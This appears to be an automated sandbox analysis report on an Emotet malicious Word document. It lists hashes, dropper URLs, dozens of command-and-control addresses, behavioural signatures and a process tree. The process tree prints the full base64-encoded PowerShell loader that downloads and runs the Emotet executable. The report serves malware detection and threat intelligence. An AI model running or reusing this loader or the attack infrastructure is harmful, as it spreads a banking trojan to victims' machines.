emotet | 3fc19218b5bdf13865d27fcd0cecf8a33328d12e2aad299edea9b63d622e85d7

General

Target
emotet_e3_3fc19218b5bdf13865d27fcd0cecf8a33328d12e2aad299edea9b63d622e85d7_2020-08-24__110921._doc.doc
Size 233KB
Sample200824-atkykc499e
SHA256 3fc19218b5bdf13865d27fcd0cecf8a33328d12e2aad299edea9b63d622e85d7
MD5 53ea636438796cc1ba347c0db43d0a97
SHA1 38591e74edb1deb6806b736ec65f9625037b2cc5
SHA512 2e2db7c03ba7bd53c0a785521efa638cce6315ba52ad003a8721171f90f3f683db310b1bb9615f971a6f4b15a7076101ae5b128946120b4285bd1e30dec9c1d3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://cryptokuota.com/assets/ayQUtnd403/
exe.dropper
http://fgajardo.com/pruebas/iTfVzJiNG/
exe.dropper
https://www.pharma-israel.org.il/wp-content/oJSUC/
exe.dropper
http://popweb.com.br/remedios/QUSArASDIIdPz/
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/mg7e129370/
exe.dropper
http://idealli.com.br/journal/lhaci5i5315/
exe.dropper
http://airmaxx.rs/MbKoqsSL/

Extracted

Family

emotet

C2

162.249.220.190:80
85.25.207.108:8080
178.128.14.92:8080
181.113.229.139:443
118.70.15.19:8080
143.95.101.72:8080
139.99.157.213:8080
201.235.10.215:80
181.137.229.1:80
5.79.70.250:8080
107.161.30.122:8080
157.7.164.178:8081
87.106.231.60:8080
202.5.47.71:80
172.105.78.244:8080
177.94.227.143:80
173.94.215.84:80
181.126.54.234:80
217.199.160.224:8080
198.57.203.63:8080
177.144.130.105:443
66.61.94.36:80
195.201.56.70:8080
81.214.253.80:443
168.0.97.6:80
37.46.129.215:8080
60.125.114.64:443
181.114.114.203:80
185.142.236.163:443
175.29.183.2:80
91.83.93.103:443
178.33.167.120:8080
188.251.213.180:443
77.74.78.80:443
190.164.75.175:80
86.57.216.23:80
46.32.229.152:8080
216.75.37.196:8080
220.254.198.228:443
41.185.29.128:8080
179.5.118.12:80
105.209.235.113:8080
190.190.15.20:80
192.210.217.94:8080
179.62.238.49:80
190.53.144.120:80
115.78.11.155:80
139.59.12.63:8080
185.86.148.68:443
186.109.152.201:80
46.105.131.68:8080
113.203.250.121:443
86.98.143.163:80
192.163.221.191:8080
115.79.195.246:80
75.127.14.170:8080
188.0.135.237:80
113.161.148.81:80
74.208.173.91:8080
31.146.61.34:80
197.221.158.162:80
177.32.8.85:80
201.213.177.139:80
71.57.180.213:80
95.216.205.155:8080
112.78.142.170:80
78.189.60.109:443
81.17.93.134:80
190.212.140.6:80
172.96.190.154:8080
185.208.226.142:8080
51.38.201.19:7080
203.153.216.178:7080
192.241.220.183:8080
197.249.6.179:443
50.116.78.109:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3460	900	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3428-16-0x00000000022E0000-0x00000000022EC000-memory.dmp	emotet
behavioral2/memory/3428-16-0x00000000022E0000-0x00000000022EC000-memory.dmp	emotet
behavioral2/memory/808-19-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet
behavioral2/memory/808-19-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	3460	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3428	R_o2c8hj4.exe
808	user.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\findnetprinters\user.exe	R_o2c8hj4.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3460	powersheLL.exe
3460	powersheLL.exe
3460	powersheLL.exe
808	user.exe
808	user.exe
808	user.exe
808	user.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3428	R_o2c8hj4.exe
3428	R_o2c8hj4.exe
808	user.exe
808	user.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3460 wrote to memory of 3428	3460	powersheLL.exe	75
PID 3460 wrote to memory of 3428	3460	powersheLL.exe	75
PID 3460 wrote to memory of 3428	3460	powersheLL.exe	75
PID 3428 wrote to memory of 808	3428	R_o2c8hj4.exe	78
PID 3428 wrote to memory of 808	3428	R_o2c8hj4.exe	78
PID 3428 wrote to memory of 808	3428	R_o2c8hj4.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_3fc19218b5bdf13865d27fcd0cecf8a33328d12e2aad299edea9b63d622e85d7_2020-08-24__110921._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAHoAdQBwAHIAcABmAD0AKAAnAE4AYwAnACsAJwA0ADUAeAB5ACcAKwAnADgAJwApADsAJgAoACcAbgBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBOAHYAOgB0AGUAbQBwAFwAbwBGAEYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAFUAYABSAEkAYABUAFkAUABSAG8AYABUAG8AYwBPAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAIAB0AGwAcwAxACcAKwAnADEALAAgACcAKwAnAHQAbABzACcAKQA7ACQAVQB1AGsAdAB0AHUAYQAgAD0AIAAoACcAUgAnACsAJwBfAG8AJwArACcAMgBjADgAJwArACcAaABqADQAJwApADsAJABaAGgAMQAxAHgAagB6AD0AKAAnAEUAMAAnACsAJwA4AG0AYQA5AGkAJwApADsAJABKAG8AMABuAG8AZwB2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB0AFMANQBPAGYAZgBpAGMAJwArACcAZQAyADAAMQAnACsAJwA5AHQAUwA1ACcAKQAtAEMAUgBlAFAAbABhAGMARQAgACAAJwB0AFMANQAnACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFUAdQBrAHQAdAB1AGEAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFcAbABuADMAZgBlAHgAPQAoACcAVwAnACsAJwB1AGYAJwArACcAagBtAG4AcgAnACkAOwAkAEoAbwBxADIAZQBhAGsAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkARQBuAFQAOwAkAEwAbwA3ADMAMwBhAGoAPQAoACcAaAB0AHQAJwArACcAcAA6AC8ALwBjAHIAeQBwAHQAbwBrAHUAJwArACcAbwB0ACcAKwAnAGEALgAnACsAJwBjAG8AbQAvAGEAcwBzAGUAdAAnACsAJwBzAC8AJwArACcAYQB5AFEAVQB0AG4AZAA0ACcAKwAnADAAMwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBmAGcAYQBqAGEAcgAnACsAJwBkAG8ALgAnACsAJwBjAG8AJwArACcAbQAvAHAAcgB1AGUAYgAnACsAJwBhAHMALwBpAFQAZgBWACcAKwAnAHoASgBpAE4AJwArACcARwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcABoAGEAcgBtAGEALQBpACcAKwAnAHMAcgBhAGUAJwArACcAbAAuACcAKwAnAG8AcgBnAC4AaQBsAC8AdwBwAC0AYwBvAG4AJwArACcAdABlACcAKwAnAG4AdAAvAG8AJwArACcASgBTAFUAQwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AcAB3AGUAYgAuAGMAJwArACcAbwBtAC4AYgByAC8AcgBlACcAKwAnAG0AZQBkACcAKwAnAGkAbwAnACsAJwBzAC8AUQBVAFMAQQByAEEAUwAnACsAJwBEAEkASQBkAFAAegAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBtACcAKwAnAGUAZwBhAHMAJwArACcAbwBsACcAKwAnAHUAJwArACcAYwBvAGUAcwB0AGkALgBjACcAKwAnAG8AbQAvAFIAOQBLAEQAcQAwAE8AOAB3AC8AbQBnADcAZQAnACsAJwAxACcAKwAnADIAOQAnACsAJwAzADcAMAAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwBpAGQAZQBhAGwAbABpAC4AYwBvAG0ALgBiAHIAJwArACcALwBqAG8AJwArACcAdQByAG4AYQBsAC8AbABoACcAKwAnAGEAJwArACcAYwBpADUAJwArACcAaQA1ADMAMQA1ACcAKwAnAC8AJwArACcAKgBoAHQAdABwADoALwAvACcAKwAnAGEAaQByAG0AYQB4AHgAJwArACcALgByAHMALwBNAGIASwBvAHEAcwAnACsAJwBTAEwAJwArACcALwAnACkALgAiAFMAYABwAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBvAHEAOQA1ADMAcAA9ACgAJwBEACcAKwAnADEAJwArACcAcwA5AGIAbQAwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMQBsAHEAeQBxADIAIABpAG4AIAAkAEwAbwA3ADMAMwBhAGoAKQB7AHQAcgB5AHsAJABKAG8AcQAyAGUAYQBrAC4AIgBEAE8AdwBuAGAATABvAGEAYABEAEYASQBsAGUAIgAoACQAVgAxAGwAcQB5AHEAMgAsACAAJABKAG8AMABuAG8AZwB2ACkAOwAkAE4AeABiADgANwBiADgAPQAoACcATwBuACcAKwAnADYAZABkACcAKwAnAHAAdgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQASgBvADAAbgBvAGcAdgApAC4AIgBsAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADMANgAzADkANwApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABKAG8AMABuAG8AZwB2ACkAOwAkAFAAMQB3AHMAbAB3AGQAPQAoACcAVgAnACsAJwB5AHAAeAB6AGwAJwArACcAdQAnACkAOwBiAHIAZQBhAGsAOwAkAFMAMwAxAGwAdgBwAHYAPQAoACcAUAAnACsAJwBuAHIAOQBtAHIAJwArACcAegAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAcQBxAHcAbgAwAGgAPQAoACcAWgBfAGMAbwByAGgAJwArACcANwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3460
- C:\Users\Admin\AppData\Local\Temp\Office2019\R_o2c8hj4.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\R_o2c8hj4.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\SysWOW64\findnetprinters\user.exe
    "C:\Windows\SysWOW64\findnetprinters\user.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/808-19-0x00000000005F0000-0x00000000005FC000-memory.dmp

Download

memory/3428-16-0x00000000022E0000-0x00000000022EC000-memory.dmp

Download

memory/3460-10-0x00007FFCC7630000-0x00007FFCC801C000-memory.dmp

Download

memory/3460-11-0x000001F371380000-0x000001F371381000-memory.dmp

Download

memory/3460-12-0x000001F371560000-0x000001F371561000-memory.dmp

Download

memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/3488-4-0x000001CB570A3000-0x000001CB570A9000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads